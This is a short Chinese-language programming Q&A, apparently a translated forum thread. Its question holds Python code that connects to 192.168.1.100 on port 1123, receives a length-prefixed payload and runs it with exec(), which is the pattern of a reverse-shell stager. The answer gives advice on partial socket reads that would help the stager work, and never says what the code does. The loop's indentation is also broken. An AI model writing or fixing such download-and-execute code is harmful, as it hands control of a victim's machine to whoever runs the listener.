代码:
Host = '192.168.1.100'
Port = 1123
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
shell=struct.unpack('>I',s.recv(4))[0]
data=s.recv(shell)
while len(data)<shell:
data+=s.recv(shell-len(data))
exec(data,{'s':s})
错误: unpack需要长度为4的字符串参数
原因:
shell=struct.unpack('>I',s.recv(4))[0]
答案 0 :(得分:0)
自己调试一下,因为我们没有足够的信息来做这件事。将代码更改为:
size = s.recv(4)
print(repr(size))
shell=struct.unpack('>I',size)[0]
recv(n)
可以返回0-n个字节。检查返回值。就像下面的代码一样,在recv上循环,直到你有4个字节。但是,接收更多数据并缓冲它,然后提取所需的字节数,效率会更高。